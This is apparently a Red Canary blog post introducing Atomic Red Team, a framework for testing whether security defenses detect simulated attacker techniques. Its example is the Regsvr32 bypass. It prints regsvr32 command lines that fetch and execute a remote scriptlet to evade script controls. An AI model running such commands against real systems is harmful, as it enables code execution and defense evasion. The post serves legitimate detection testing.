Red Canary Introduces Atomic Red Team, a New Testing Framework for Defenders

How do you know your security solutions are tuned and ready to face actual adversaries? Are you testing new or existing products to provide assurances for detections? If you’re like many teams, you may lack the internal resources or expertise to simulate a specific adversary tactic or technique. That is why we recently created Atomic Red Team, a testing framework that is open source and provides you with capabilities to test your detection.

We called it “atomic” to reference the small components that a small or large security team can use to simulate specific attacker activities in a benign way. The generated telemetry can then be used to ensure your defenses are properly tuned to that technique or tool. You can find the framework here: https://github.com/redcanaryco/atomic-red-team

Watch the Atomic Red Team training session with Casey Smith and Michael Haag

Why This Project Matters

We believe that one of the best current repositories of attacker tactics has been collected by the team at MITRE. They have done extensive work cataloging and providing references for each phase and tactic in an adversary’s lifecycle.

Every defender should become a student of the MITRE ATT&CK™ Framework*. It provides tremendous value in understanding the capabilities and tactics used by many attackers.

How to Use Atomic Red Team Tests

Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test is designed to map back to a particular tactic. We hope that this gives defenders a highly actionable way to immediately start testing their defenses against a broad spectrum of attacks.

1. Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision, and can potentially be a resume-generating event.
2. Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR solution in place, and that the endpoint is checking in and active.
3. Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go.

Example Test: Regsvr32.exe

For this example, we will be testing Regsvr32.exe coverage.

You should spend some time reading about the tactic, to understand the context for the test.

This was a tactic I discovered in the Spring of 2016. I needed a way to circumvent script controls. There is no patch for this behavior, and being a signed MS tool, it is an easy way to bypass or evade many security controls.

Achievement Unlocked.
Pop Calc in a Tweet.
“regsvr32 /s /n /u /i:https://t.co/TwQTx2BhTK scrobj.dll”
With Room to spare

— Casey Smith (@subTee) April 19, 2016

There are three phases to the testing framework:

Phase 1: Execute Test

This particular test is fairly easy to exercise, since the tool is default on all Windows workstations.

The details of this test case are here.

We are providing two methods to perform the simulation: locally or remote. Additionally, there is a sample .sct file to assist with kicking off the simulation.

Local

For a local simulation use the provided .sct file:

regsvr32.exe /s /u /i:file.sct scrobj.dll

Remote

For a remote simulation you will need a remotely accessible server to grab/download this file, or use gist:

regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll

Be sure to note the time that the test is executed. You can measure effectiveness by tracking detections against the clock.

Phase 2: Collect Evidence

What does your security solution observe? You may see a file modification in the user’s profile. You may detect network connections made by regsvr32.exe to an external IP. There may be an entry in the proxy logs. You may observe the scrobj.dll loading on Windows. Or, you might not observe any behavior on the endpoint or network. This is why we test! To identify visibility gaps and determine where improvements need to be made.

At Red Canary, we use EDR sensors to provide us with the visibility we need to detect advanced attacker behaviors. We will be using Carbon Black Response telemetry for the remainder of this article.

The screenshot above shows the final detection that was surfaced by one of our analysts after a peer review. We will work backwards to the events in Carbon Black that helped support this detection.

Figure 1.1 is what we often refer to as Carbon Black Art. At a high level, you can see a visual representation of the process ancestry. This shows you who started what. While this is helpful to our analysts, we need to look at the actual data.

In Figure 1.2, we can see that the command line and basic process information was collected. We can key off various attributes here including some of the command line parameters.

As shown in Figure 1.3, we can also drill through the data to observe the network connection made to retrieve the payload.

Phase 3: Develop Detection

So you executed the test and none of your defenses fired – that’s why we test! Based on your observations and detection capabilities, it is time to use what you have to try to detect this event in your environment.

Once you have isolated the event, begin to look at the attributes you have collected that you can alert on. For this specific example, you could build a watchlist in Carbon Black around a file path, an exe, a particular tool making network connections, etc.

Once the detection is built, it is time to validate that the detection is working and that it is appropriately tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe, you are going to be digging out from a mountain of false positives. But if you write it too narrow and it only detects regsvr32.exe with the exact command line “/s /u /i” then all an attacker has to do is slightly modify the command line to evade your detection.

To find the right balance, re-run the simulation adjusting your detection criteria until you feel you have found the right balance. This is not a science. It is an iterative process that you will require ongoing efforts.

Last but Not Least, Measure Progress

One of the goals is to try to measure your coverage/capabilities against the ATT&CK Matrix and to identify where you may have gaps. Roberto Rodriguez (@cyb3rWar0g) provided this spreadsheet and complementary blog post showcasing how to determine where you stand within your organization in relation the MITRE ATT&CK Matrix.

With Atomic Red Team, we can now run these tests in simulation to validate detection or prevention controls are operating as expected. The spreadsheet provides a wealth of knowledge and many ways Blue Teams can work to detect these behaviors.

Closing Thoughts

We hope this provides you with some ideas and capabilities to simulate your environment for various threats. There will always be more to simulate. We are always open to feedback on how to improve. It is important to understand that passing these tests does not provide 100% assurance that you will detect and evict an actual adversary. However, it will help you find gaps in your detection pipelines, and improve overall response, making an attacker’s job more difficult.

To get started, check out the Atomic Red Team training session I recently hosted with Michael Haag, who was integral in the development of the framework. We ran through three labs to show examples of how teams can start using the tests.

This effort has been a collaboration of several members of the Red Canary team and the security community. We look forward to your feedback and contributions. Please contact us research@redcanary.com with questions and feedback.

*The ATT&CK™ framework is a trademark of MITRE.